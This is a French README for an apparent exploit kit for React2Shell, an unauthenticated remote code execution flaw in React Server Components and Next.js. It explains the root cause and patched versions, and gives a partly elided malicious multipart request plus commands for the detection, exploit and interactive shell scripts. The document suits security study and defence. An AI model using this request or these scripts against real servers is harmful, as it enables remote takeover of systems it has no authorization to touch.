Kit de exploits RCE pour CVE-2025-55182 et CVE-2025-66478 dans les composants serveur React. Comprend plusieurs variantes d'exploits, des scripts de détection, un serveur de test vulnérable et une analyse technique approfondie de la vulnérabilité de désérialisation du protocole Flight.
CVE-2025-55182 (React) et CVE-2025-66478 (Next.js)
Ce dépôt contient du code d'exploit destiné uniquement aux tests de sécurité autorisés et à des fins éducatives.
Voir aussi : Plusieurs chercheurs ont publié des analyses de cette vulnérabilité. Consultez la section Références pour des perspectives supplémentaires, des techniques d'exploitation et des méthodes de détection.
Le mercredi 3 décembre 2025, une vulnérabilité critique d'exécution de code à distance dans les React Server Components a été divulguée publiquement. Ce bug, surnommé « React2Shell », permet à un attaquant non authentifié d'exécuter du code arbitraire sur n'importe quel serveur exécutant des versions vulnérables de React RSC ou du Next.js App Router en envoyant une seule requête HTTP.
Étant donné l'omniprésence de Next.js – il alimente une part importante du web moderne – l'impact de cette vulnérabilité est sévère. Toute application Next.js utilisant l'App Router (par défaut pour les nouveaux projets depuis Next.js 13) avec RSC activé est vulnérable. Pas de configuration particulière. Pas de points d'accès spécifiques. Simplement une requête POST vers n'importe quelle route.
La vulnérabilité réside dans le protocole « Flight » de React, le format de sérialisation utilisé pour transmettre les données entre le serveur et le client dans les React Server Components. L'absence d'une vérification hasOwnProperty lors de la désérialisation permet de parcourir la chaîne de prototypes, pour finalement atteindre le constructeur JavaScript Function et exécuter du code contrôlé par l'attaquant.
La faille existe dans les paquets react-server-dom-webpack, react-server-dom-turbopack et react-server-dom-parcel de React. Next.js, en tant que consommateur principal de RSC, hérite de la vulnérabilité via son App Router.
De nombreux services sont potentiellement vulnérables. Next.js est l'un des frameworks React les plus populaires, utilisé par des entreprises de toutes tailles – des start-ups aux grandes entreprises. L'App Router avec React Server Components est l'architecture par défaut pour les nouveaux projets Next.js depuis la version 13, ce qui signifie que la plupart des déploiements Next.js modernes sont affectés.
Toute application utilisant :
react-server-dom-* vulnérables (19.0.0 - 19.2.0)Cela inclut les déploiements en production sur Vercel, AWS, les infrastructures auto-hébergées et partout ailleurs où les applications Next.js App Router sont exécutées.
Non concernés :
process.mainModule disponible)| Paquet | Vulnérable | Corrigé |
|---|---|---|
react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Ligne de version | Vulnérable | Corrigé |
|---|---|---|
| 15.0.x | < 15.0.5 | 15.0.5+ |
| 15.1.x | < 15.1.9 | 15.1.9+ |
| 15.2.x | < 15.2.6 | 15.2.6+ |
| 15.3.x | < 15.3.6 | 15.3.6+ |
| 15.4.x | < 15.4.8 | 15.4.8+ |
| 15.5.x | < 15.5.7 | 15.5.7+ |
| 16.0.x | < 16.0.7 | 16.0.7+ |
Mettez à jour immédiatement. Il n'existe pas de contournement.
Pour les applications Next.js :
npm install next@latest
# or
pnpm update next
Pour une utilisation directe de React RSC :
npm install react-server-dom-webpack@latest
Vérifiez vos versions installées :
npm ls next react-server-dom-webpack react-server-dom-turbopack
Plusieurs vecteurs d'attaque ont été découverts pour cette vulnérabilité. Le plus courant – et celui qui fonctionne sans aucun prérequis – utilise la pollution de prototype via le système de référence du protocole Flight de React.
L'exploit envoie une requête POST multipart fabriquée avec un en-tête Next-Action. La charge utile abuse du système de référence pour :
$1:__proto__:thenFunctionPOST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary--
Le code s'exécute pendant la désérialisation, avant toute validation de l'ID d'action. Cela signifie que n'importe quelle valeur d'en-tête Next-Action déclenche le chemin de code vulnérable – aucun ID d'action valide n'est requis.
D'autres vecteurs d'attaque existent, notamment les références de fonction
$Fet les gadgets de module directs. Ceux-ci nécessitent généralement un ID d'action valide. Voir Vecteurs d'attaque alternatifs pour plus de détails.
Le protocole Flight de React résout les références comme $1:path:to:value en les divisant par les deux-points et en parcourant l'objet :
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // Pas de vérification hasOwnProperty !
}
L'ironie : En haut de ce même fichier, ligne 35 :
import hasOwnProperty from 'shared/hasOwnProperty';La garde a été importée. Elle était disponible. Elle n'a simplement pas été utilisée dans la seule boucle où elle comptait le plus.
Ce seul contrôle manquant permet à $1:__proto__:then de parcourir un objet chunk, de remonter la chaîne de prototypes jusqu'à Chunk.prototype.then – une fonction qui traite les objets de type Promise. En fabriquant un faux chunk avec les bonnes propriétés, nous contrôlons quel code est exécuté.
Clonez le serveur de test vulnérable :
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev
Dans un autre terminal :
./detect.sh http://localhost:3443
Un serveur vulnérable renvoie HTTP 500 avec E{"digest" dans le corps de la réponse. Pour démontrer l'exécution de code :
./exploit-redirect.sh http://localhost:3443 "id"
La sortie de la commande apparaît dans la réponse. Pour une exploration interactive :
./shell.sh http://localhost:3443
Le répertoire vulnerable-next-server/ contient une application Next.js 16.0.6 + React 19.2.0 préconfigurée pour des tests locaux sécurisés. Elle écoute par défaut sur le port 3443. Il s'agit d'une configuration minimale de l'App Router démontrant que les configurations par défaut sont vulnérables.
Nous avons développé plusieurs variantes d'exploit pour gérer différents scénarios :